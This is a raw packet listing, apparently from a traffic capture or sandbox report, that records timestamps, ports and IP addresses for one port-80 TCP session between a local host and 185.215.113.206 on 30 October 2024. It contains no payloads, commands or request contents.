Oct 30, 2024 02:27:37.435628891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435630083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435638905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435648918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435657978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435664892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435683012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435695887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435722113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435827971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435837984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435864925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435869932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435878038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435878992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435889959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435902119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435905933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435909986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435920000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435934067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435950041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435970068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436096907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436114073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436126947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436134100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436136007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436147928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436157942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436158895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436173916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436180115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436202049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436213970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436387062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436398029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436428070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436434031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436439037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436448097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436458111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436469078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436470032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436480045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436489105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436491966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436502934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436503887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436517000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436527967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436530113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436538935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.436538935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436566114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.436590910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437599897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437653065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437663078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437704086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437711954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437755108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437763929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437798977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437808037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437834024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437843084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437868118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437875986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437902927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437912941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437937975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437946081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.437978029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.437998056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438011885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438023090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438049078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438055992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438083887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438088894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438118935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438127995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438153028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438159943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438189983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438189983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438225985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438231945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438261032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438266993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438297033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438302040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438333035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438338041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438368082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438388109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438410044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438422918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438460112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438472986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438508034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438512087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438543081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438548088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438575983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438579082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438610077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438616037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438644886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438648939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438679934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438688040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438715935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438719034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438750982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438757896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438785076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438792944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438821077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438827038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438853979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438859940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438889027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438894987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438922882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438929081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438957930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.438960075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.438988924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439007044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439022064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439029932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439055920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439068079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439090967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439094067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439126015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439126968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439161062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439165115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439194918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439198971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439228058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439234972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439261913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439266920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439295053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439295053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439336061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439357996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439392090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439399004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439481974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439491034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439517021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439522982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439549923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439558983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439580917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439594030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439615011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439619064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439647913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439651012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439686060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439702034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439743996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439747095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439774990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439789057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439809084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439822912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439842939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439851046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439872980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439883947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439907074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439915895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.439941883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.439974070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440007925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440038919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440042019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440062046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440062046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440062046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440074921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440085888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440109968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440113068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440145016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440148115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440179110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440186024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440212965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440224886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440246105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440249920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440280914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440290928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440315008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440320015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440350056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440357924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440386057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440387964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440419912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440429926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440457106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440469980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440495014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440495968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440524101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.440536022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.440563917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478612900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478657007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478705883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478720903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478754997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478754997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478756905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478792906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478801012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478831053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478832960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478866100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478882074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478902102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478910923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478936911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478950024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.478972912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.478984118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.479012012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.479022026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.479057074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552416086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552510023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552551031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552563906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552604914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552604914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552634001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552670002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552674055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552719116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552721977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552757025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552759886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552797079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552809000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552843094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552849054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552877903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552887917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552911043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.552920103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552948952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.552963018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553003073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553011894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553041935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553054094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553076029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553082943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553112030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553116083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553147078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553150892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553184032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553188086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553227901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553227901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553261042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553268909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553296089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553299904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553328991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553337097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553366899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553368092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553406954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553473949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553504944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553514957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553539038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553544998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553574085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553579092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553607941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553612947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553642988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553647041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553680897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553759098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553792953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553802013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553827047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553838015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553862095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553864002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553894997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553900957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553930044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553935051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553965092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.553972960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.553999901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554003954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554033041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554039001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554068089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554071903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554104090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554105997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554142952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554275036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554307938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554313898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554342985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554347038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554378986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554378986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554411888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554418087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554445982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554450989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554478884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554486990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554508924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554537058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554543018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554575920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554588079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554588079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554611921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554617882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554646969 CET	80	49760	185.215.113.206	192.168.2.4
